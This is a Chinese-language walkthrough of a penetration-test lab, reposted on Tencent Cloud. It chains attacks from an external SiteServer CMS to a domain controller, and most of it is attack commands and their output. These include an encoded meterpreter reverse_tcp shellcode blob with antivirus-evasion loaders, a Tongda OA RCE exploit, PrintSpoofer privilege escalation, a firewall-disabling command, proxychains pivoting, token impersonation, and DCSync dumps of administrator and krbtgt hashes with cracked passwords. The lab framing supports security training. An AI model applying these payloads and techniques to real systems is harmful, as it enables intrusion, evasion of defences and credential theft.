前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >从外网SiteServer前端漏洞getshell,到远程加载shellcode绕过杀软360全家桶杀入内网域控

从外网SiteServer前端漏洞getshell,到远程加载shellcode绕过杀软360全家桶杀入内网域控

作者头像
渗透攻击红队
发布2020-11-25 10:48:08
4.5K0
发布2020-11-25 10:48:08
举报
文章被收录于专栏:漏洞知识库

环境

windows 2016 web:192.168.2.29 - www.moonlab.com(外网)、10.10.1.131(内网)

windows server 2012 OA:10.10.10.166(内网)、10.10.1.130(内网)

windows server 2016 DC:10.10.10.165(内网)

目标web有iis安全狗和防火墙、目标OA有360全家桶

运用到到技术:

siteserver禁用JS得到后台账号密码

siteserver后台模版getshell

工作组下的内网渗透

MSF进行远程加载shellcode实现免杀绕过安全狗

通达OA获取webshell

域环境下的内网渗透

MSF进行本地加载shellcode实现免杀绕过360全家桶

命令行渗透

... 等等

渗透过程

信息搜集

首先使用nmap对目标进行扫描:

代码语言:javascript
复制
nmap -A -p- -sV 192.168.2.29

发现目标开放了21(ftp)、80(http,iis10)、999(http,phpmyadmin)、5985(http)、6588(http),有一个域名(www.moonlab.com)

由于手工测试目标WEB有安全狗:

那么我们在扫描目录文件的时候,需要吧线程调到最小,我这里使用的扫描工具是dirb:

代码语言:javascript
复制
dirb http://www.moonlab.com/ /usr/share/wordlists/dirb/small.txt -z 1000
# -z  线程设置为1秒

其他的目录文件都没用,只有这个目录打开是一个后台页面:/siteserver/

SiteServer禁用JS获取后台账号密码

看到这个CMS(siteserver),我想起了之前遇到过一个站,可以禁用JS来找回后台管理员密码,具体操作在'忘记密码',输入'admin','禁用JS',然后就能获取到'admin'的密码了:

我用到的插件是:Quick Javascript Switcher

在忘记密码页面处,先输入后台账号名admin,然后禁用掉JS,之后点击下一步:

之后什么都不用填,一直下一步就可以:

这个时候就能够成功获取到目标后台的账号密码:admin:admin5566

成功登陆后台系统:

SiteServer 后台模板 Getshell

具体拿shell方法在'系统管理','站点模版管理','导入站点模版',把我们的过狗aspx的一句话压缩为rar上传到目标模版里:

之后得到webshell:http://www.moonlab.com/sitefiles/sitetemplates/c32as/c32as.aspx

Webshell 工作组下的内网渗透

拿到shell之后需要对目标进行内网渗透,渗透前需要搜集信息判断目标是工作组还是域环境,两种环境渗透思路不一样:systeminfo

发现目标主机是 Windows Server 2016 对,是工作组环境,而且补丁没怎么打过.

whoami 发现是一个 iis 的普通权限:

并且发现目标主机上有iis安全狗:

针对于 windows 2016 可以使用 SeImpersonatePrivilege 来进行本地提权:https://github.com/itm4n/PrintSpoofer

我吧PrintSpoofer.exe上传到主机临时目录下:

之后运行命令成功提权:

代码语言:javascript
复制
PrintSpoofer.exe -i -c whoami

之后为了进行有效的内网渗透得想办法让目标上线MSF或者CS,既然目标上面有安全狗,那么我们一定要做好免杀!

Metasploit 下远程加载 Shellcode 实现免杀

首先使用MSF生成一个Shellcode:实现混淆加密

代码语言:javascript
复制
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.12 LPORT=53 -b '\x00' -f c |grep -v unsigned|sed "s/\"\\\x//g"|sed "s/\\\x//g"|sed "s/\"//g"|sed ':a;N;$!ba;s/\n//g'|sed "s/;//g"

得到shellcode:

代码语言:javascript
复制
bea02e598adbced97424f45a2bc9b15631721383c2040372afccac7647924f8797f3c662a633bce79883b6aa146f9a5eaf1d335018ab655f998056fe19db8a202014df21654912733e0581644b531a0e07751af3df740ba2542f8b44b95b825ede665cd4141c5f3c65ddcc014a2c0c456ccf7bbf8f727c04f2a8099f543aa97b65ef2c0f69443a576d5befe389d00e2418a234e0417054b12fd769a19088cfa93cdc7df028114c0ba83dc7789ae27317966b5ae0af7c5d3e17eca3bf672460eb375e4194dc9e6e414895f8aa24abe44236ac14a6bf4a4498efc225484fb3cd8240eceeac8b85854265fd31fa2c75a303fbf3e3880903ad787817da1e82e71b8b828d1f1dd539227811e6ddaf22e1222e129915a41af559289a050c229a6de816c988f7827e01622dd6f52545d42001ca2707110dd7d53eb6bf257f463f4c7f16579b509997647bf2bfefeab05eef2614fef0c58df18ba632f26baf56f36bcf68c8bdf61e0f7e4d103a23e4bb4477f6e9

然后监听kali的8080端口:

代码语言:javascript
复制
ruby shellcode.rb 8080

之后设置MSF监听模块进行监听:

代码语言:javascript
复制
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.2.28
set lport 53
exploit

随后使用吧shellcode加载器上传到目标服务器配合PrintSpoofer.exe然后远程加载kali的shellcode成功上线:

代码语言:javascript
复制
PrintSpoofer.exe -i -c "shellcode.exe 8080 192.168.2.28"

这个时候就是一个系统权限:

因为我们的权限是一个32位的权限,所以我们需要对目标主机进行权限维持,吧权限迁移到64位到system权限上:

之后加载mimikatz抓取密码发现没抓到hash值:

我们就用MSF到后渗透post模块来抓hash:post/windows/gather/smart_hashdump

代码语言:javascript
复制
可以使用下面两种方法:
hashdump  
run post/windows/gather/smart_hashdump  这个不太准,有的时候hash是一样的


meterpreter > hashdump 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e7114141b0337bdce1aedf5594706205:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
huweishen166644:1004:aad3b435b51404eeaad3b435b51404ee:93a50f03c4bc59579605ee0c1937401a:::
moonlab:1010:aad3b435b51404eeaad3b435b51404ee:16607206dae8e7ac67ccbbce40363686:::
MySQL_HWS:1001:aad3b435b51404eeaad3b435b51404ee:c5bf79ff3e413dd56c626aaed26431bb:::
PhpMyAdmin_HWS:1002:aad3b435b51404eeaad3b435b51404ee:8ad7000c1e4378339c86952dd7dc23e1:::

之后通过md5解密得到administrator的密码为:!@#QWE123

由于目标是没有开放 3389 远程桌面的,我们如果想要登陆目标远程桌面的话,需要给他开启一下:

代码语言:javascript
复制
run post/windows/manage/enable_rdp

一般没必要登陆到目标远程桌面!

之后对他内网主机进行搜集,先看看ip网段:

代码语言:javascript
复制
run get_local_subnets

发现目标有两个网段,一个 192.168.2.0 外网,一个 10.10.1.0 内网网段。

随后添加一个 10.10.1.0 的路由进行内网扫描:

代码语言:javascript
复制
run autoroute -s 10.10.1.0/24

然后使用 arp 模块对内网进行扫描存活主机:

代码语言:javascript
复制
run arp_scanner -r 10.10.1.0/24

发现目标 10.10.1.130 存活,这个时候就可以对目标进行更详细的信息搜集了!

因为是内网,所以我们需要做一层代理,吧web这台机器当作跳板来使用。

先添加一个 socks 代理:

代码语言:javascript
复制
use auxiliary/server/socks4a

然后修改一下proxychains.conf文件:端口也修改为MSF对1080端口

代码语言:javascript
复制
vi /etc/proxychains.conf

之后就可以对 10.10.1.130 内网进行端口扫描了:扫描只能使用tcp扫描

代码语言:javascript
复制
proxychains nmap -sT -Pn -p 1-65535 10.10.1.130

然后发现目标 10.10.1.130 只开放了 80 端口,估计有防火墙,那么我们就来打开看看目标的web,这里一定要使用proxychains来打开浏览器!

代码语言:javascript
复制
proxychains firefox

发现目标80是一个通达OA系统!既然是通达OA,那么根据之前HW的漏洞,找到了一个针对于通达OA的rce利用的exp:

代码语言:javascript
复制
git clone https://github.com/wikiZ/tongda-exp-poc

然后运行 exp :

代码语言:javascript
复制
proxychains python3 tongda\ exp.py -H http://10.10.1.130 -file-shell

得到一枚webshell:http://10.10.1.130/ispirit/interface/xiaoma.php

然后使用蚁剑链接前要设置一下socks4代理,代理服务器填写kali的ip,端口填写1080:

OA 下的域内渗透

首先拿到shell先看看是什么权限:

当前权限是一个系统权限,还是挺不错的!

随后 ipconfig 发现目标是一个域环境,而且是双网卡,10.10.1.130、10.10.10.166:

然后查看进程 tasklist 发现目标进程是有360杀毒全家桶的:

查看目标服务也能看到目标有360全家桶和防火墙:

由于目标防火墙(windows firewall)可能会对我们的操作有影响,我们直接使用命令给他关掉:

代码语言:javascript
复制
Netsh advfirewall set allprofiles state off

Shellcode 本地加载实现免杀绕过 360全家桶

既然拿到shell了,那么先让目标上线到MSF吧,首先使用MSF生成一个shellcode正向木马:

代码语言:javascript
复制
msfvenom -p windows/meterpreter/bind_tcp  lport=9898 -e x86 /ikata_ga_nai -i 5 -f raw > test.c

然后MSF设置监听:

代码语言:javascript
复制
proxychains msfconsole 
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set lport 9898
set rhost 10.10.1.130

然后吧 test.c 和 shellcode 加载器上传到目标机器上运行成功上线:

代码语言:javascript
复制
shellcode_launcher.exe -i test.c

拿到meterpreter先进行权限维持,迁移一下进程:

代码语言:javascript
复制
migrate 5432

hashdump 抓到 administrator 的 hash:

代码语言:javascript
复制
meterpreter > hashdump 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:357bec0ee1f524c62ba536fcd3f74472:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

既然是域环境,那么先定位一下域控吧:

代码语言:javascript
复制
run post/windows/gather/enum_domain

发现域名是attack,域控dc的ip为10.10.10.165,而当前主机的另一个内网网卡ip为10.10.10.166 .

还可以查看登陆的用户和sid信息:

代码语言:javascript
复制
meterpreter > run post/windows/gather/enum_logged_on_users 

[*] Running against session 1

Current Logged Users
====================

 SID                                          User
 ---                                          ----
 S-1-5-18                                     NT AUTHORITY\SYSTEM
 S-1-5-21-4052809752-717748265-227546684-500  ATTACK\administrator


[+] Results saved in: /root/.msf4/loot/20201117155658_default_10.10.1.130_host.users.activ_526094.txt

Recently Logged Users
=====================

 SID                                           Profile Path
 ---                                           ------------
 S-1-5-18                                      %systemroot%\system32\config\systemprofile
 S-1-5-19                                      C:\Windows\ServiceProfiles\LocalService
 S-1-5-20                                      C:\Windows\ServiceProfiles\NetworkService
 S-1-5-21-3252981389-920624007-1327000051-500  C:\Users\Administrator
 S-1-5-21-4052809752-717748265-227546684-1103  C:\Users\oa
 S-1-5-21-4052809752-717748265-227546684-500   C:\Users\administrator.ATTACK

sid做票据传递攻击会使用到,所以我们先搜集到。

查看域内主机有那些:

代码语言:javascript
复制
run post/windows/gather/enum_ad_computers

发现只有当前OA还有一台域控DC。

接下来尝试进行令牌窃取,因为有域控进程:

相关文章可以看我博客:http://www.saulgoodman.cn/metasploit-10.html

代码语言:javascript
复制
use incognito
list_tokens -u

接下来切换域管的令牌:

代码语言:javascript
复制
impersonate_token 'ATTACK\administrator'

成功拿到域管的权限(令牌窃取并不等于提权)。

这个时候渗透已经完成80%了。

因为我们到目标是拿到域控制器这台主机,因此我们还需要进行更深的内网渗透,所以我再做一层代理:获取网段

代码语言:javascript
复制
run get_local_subnets

由于刚刚我们搜集到的信息域控是在 10.10.10.0 这个网段,那么我们为它添加一个路由:

代码语言:javascript
复制
run autoroute -s 10.10.10.0/24

随后对域控dc进行端口扫描:

代码语言:javascript
复制
proxychains nmap -sT -Pn 10.10.10.165 -p 80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,88,6379,7001,7002,9200,9300,11211,27017,27018,50000,50070,50030,21,22,23,2601,3389 --open

但是没有扫描到:

估计目标域控有防火墙及杀软!

我们加载一下MSF自带的kiwi:

代码语言:javascript
复制
load kiwi

然后窃取一个域管的权限令牌:

代码语言:javascript
复制
steal_token 3856

这个时候就拿到了域管的 ntlm-hash、sid:

代码语言:javascript
复制
meterpreter > dcsync_ntlm administrator
[+] Account   : administrator
[+] NTLM Hash : ccef208c6485269c20db2cad21734fe7
[+] LM Hash   : e1ba1721b0d8ed3a7636018c9337380c
[+] SID       : S-1-5-21-4052809752-717748265-227546684-500
[+] RID       : 500

这个时候也拿到了 krbtgt 的 ntlm-hash 和 sid:这个用户用于做黄金票据用的

代码语言:javascript
复制
meterpreter > dcsync_ntlm krbtgt
[+] Account   : krbtgt
[+] NTLM Hash : 67446f76100703cc0866cb7167cca084
[+] LM Hash   : c7192cc0c2c01aee95bc9a98664ed15b
[+] SID       : S-1-5-21-4052809752-717748265-227546684-502
[+] RID       : 502

通过解密域管的密码我们得到密码为:Admin12345

这个时候我们就可以通过与域控建立IPC链接:

代码语言:javascript
复制
net use \\10.10.10.165 /u:attack\administrator Admin12345

最后也是在域控 10.10.10.165 主机下的 C:\users\administrator\ 拿到了 flag,完成本次渗透!

总结

这篇文章用到的技术还是挺多的,适合学习内网渗透的学习人员,本次靶场来自于暗月师傅的靶场,大家需要培训的话可以找暗月师傅。

喜欢这篇文章的话大家转发文章支持一下作者!

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-11-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透攻击红队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 运用到到技术:
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档